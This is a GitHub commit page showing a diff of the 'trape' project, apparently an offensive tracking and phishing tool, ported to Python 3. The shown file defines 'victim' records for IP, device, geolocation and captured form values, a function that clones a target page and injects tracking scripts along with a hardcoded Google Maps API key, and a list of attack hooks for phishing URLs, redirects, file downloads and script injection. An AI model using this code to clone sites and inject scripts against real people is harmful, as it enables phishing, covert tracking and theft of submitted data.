-
Notifications
You must be signed in to change notification settings - Fork 1.3k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- port code to python 3 - minor refactor
- Loading branch information
Showing
9 changed files
with
269 additions
and
202 deletions.
There are no files selected for viewing
Large diffs are not rendered by default.
Oops, something went wrong.
Large diffs are not rendered by default.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,6 +1,6 @@ | ||
#!/usr/bin/env python | ||
# -*- coding: utf-8 -*- | ||
#** | ||
# ** | ||
# | ||
######### | ||
# trape # | ||
|
@@ -10,7 +10,7 @@ | |
# For full copyright information this visit: https://github.com/jofpin/trape | ||
# | ||
# Copyright 2018 by Jose Pino (@jofpin) / <[email protected]> | ||
#** | ||
# ** | ||
class victim(object): | ||
def __init__(self, vId, ip, device, browser, version, ports, cpu, date): | ||
self.vId = vId | ||
|
@@ -22,6 +22,7 @@ def __init__(self, vId, ip, device, browser, version, ports, cpu, date): | |
self.cpu = cpu | ||
self.date = date | ||
|
||
|
||
class victim_geo(object): | ||
def __init__(self, id, city, country_code, country_name, ip, latitude, longitude, metro_code, region_code, region_name, time_zone, zip_code, isp, ua, refer): | ||
self.id = id | ||
|
@@ -40,6 +41,7 @@ def __init__(self, id, city, country_code, country_name, ip, latitude, longitude | |
self.ua = ua | ||
self.refer = refer | ||
|
||
|
||
class victim_request(object): | ||
def __init__(self, id, site, fid, name, value, sId): | ||
self.id = id | ||
|
@@ -49,40 +51,61 @@ def __init__(self, id, site, fid, name, value, sId): | |
self.value = value | ||
self.sId = sId | ||
|
||
|
||
def victim_headers2(ua): | ||
return { | ||
"User-Agent": str(ua), | ||
"Content-Type": "text/html; charset=utf-8", | ||
"Accept": "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8", | ||
"Connection": "keep-alive", | ||
# Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) | ||
"DNT": "1", | ||
"Keep-Alive": "115", | ||
} | ||
|
||
|
||
def victim_headers(ua): | ||
return [ ("User-Agent", ua), | ||
("Content-Type", "text/html; charset=utf-8"), | ||
("Accept", "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8"), | ||
("Connection", "keep-alive"), | ||
("DNT", "1"), # Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) | ||
("Keep-Alive", "115") | ||
return [("User-Agent", ua), | ||
("Content-Type", "text/html; charset=utf-8"), | ||
("Accept", "text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.8"), | ||
("Connection", "keep-alive"), | ||
# Do Not Track (info here: https://www.w3.org/TR/tracking-dnt/) | ||
("DNT", "1"), | ||
("Keep-Alive", "115") | ||
] | ||
|
||
def victim_inject_code(html, script = 'a', url_to_clone = '', gMapsApiKey = 'AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM', IpInfoApiKey = ''): | ||
|
||
def victim_inject_code(html, script='a', url_to_clone='', gMapsApiKey='AIzaSyBUPHAjZl3n8Eza66ka6B78iVyPteC5MgM', IpInfoApiKey=''): | ||
url_to_clone = str(url_to_clone) | ||
html = html.replace('src="', 'src="' + url_to_clone + '/') | ||
html = html.replace("src='", "src='" + url_to_clone + '/') | ||
html = html.replace('src="' + url_to_clone + '/' + 'http', 'src="http') | ||
html = html.replace("src='" + url_to_clone + '/' + 'http', "src='http") | ||
html = html.replace("href='", "href='" + url_to_clone + '/') | ||
html = html.replace('href="', 'href="' + url_to_clone + '/') | ||
html = html.replace('href="' + url_to_clone + '/' + 'http', 'href="http') | ||
html = html.replace("href='" + url_to_clone + '/' + 'http', "href='http") | ||
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/libs.min.js"></script></head>') | ||
html = html.replace('</head>', '<script type="text/javascript">window.gMapsApiKey="' + str(gMapsApiKey) + '"; window.IpInfoApiKey="' + str(IpInfoApiKey) + '";</script></head>') | ||
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/base.js"></script></head>') | ||
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/custom.js"></script></head>') | ||
html = html.replace('</head>', '<script type="text/javascript" src="/static/js/' + script + '.js"></script></head>') | ||
html = html.replace('src="'.encode(), str('src="' + url_to_clone + '/').encode()) | ||
html = html.replace("src='".encode(), str("src='" + url_to_clone + '/').encode()) | ||
html = html.replace(str('src="' + url_to_clone + '/' + 'http').encode(), 'src="http'.encode()) | ||
html = html.replace(str("src='" + url_to_clone + '/' + 'http').encode(), "src='http".encode()) | ||
html = html.replace("href='".encode(), str("href='" + url_to_clone + '/').encode()) | ||
html = html.replace('href="'.encode(), str('href="' + url_to_clone + '/').encode()) | ||
html = html.replace(str('href="' + url_to_clone + '/' + 'http').encode(), 'href="http'.encode()) | ||
html = html.replace(str("href='" + url_to_clone + '/' + 'http').encode(), "href='http".encode()) | ||
html = html.replace( | ||
'</head>'.encode(), '<script type="text/javascript" src="/static/js/libs.min.js"></script></head>'.encode()) | ||
html = html.replace('</head>'.encode(), str('<script type="text/javascript">window.gMapsApiKey="' + str( | ||
gMapsApiKey) + '"; window.IpInfoApiKey="' + str(IpInfoApiKey) + '";</script></head>').encode()) | ||
html = html.replace( | ||
'</head>'.encode(), '<script type="text/javascript" src="/static/js/base.js"></script></head>'.encode()) | ||
html = html.replace( | ||
'</head>'.encode(), '<script type="text/javascript" src="/static/js/custom.js"></script></head>'.encode()) | ||
html = html.replace( | ||
'</head>'.encode(), str('<script type="text/javascript" src="/static/js/' + script + '.js"></script></head>').encode()) | ||
return html | ||
|
||
|
||
def attacks_hook_message(data): | ||
return { | ||
'network' : 'Detected network ', | ||
'url' : "Open url phishing ", | ||
'redirect' : "Redirecting to ", | ||
'alert' : "Sending alert ", | ||
'execute' : "Downloading file ", | ||
'talk' : "Sending voice message ", | ||
'jscode' : "Sending Script ", | ||
'jsscript' : "Injecting Script " | ||
}.get(data, False) | ||
'network': 'Detected network ', | ||
'url': "Open url phishing ", | ||
'redirect': "Redirecting to ", | ||
'alert': "Sending alert ", | ||
'execute': "Downloading file ", | ||
'talk': "Sending voice message ", | ||
'jscode': "Sending Script ", | ||
'jsscript': "Injecting Script " | ||
}.get(data, False) |
Oops, something went wrong.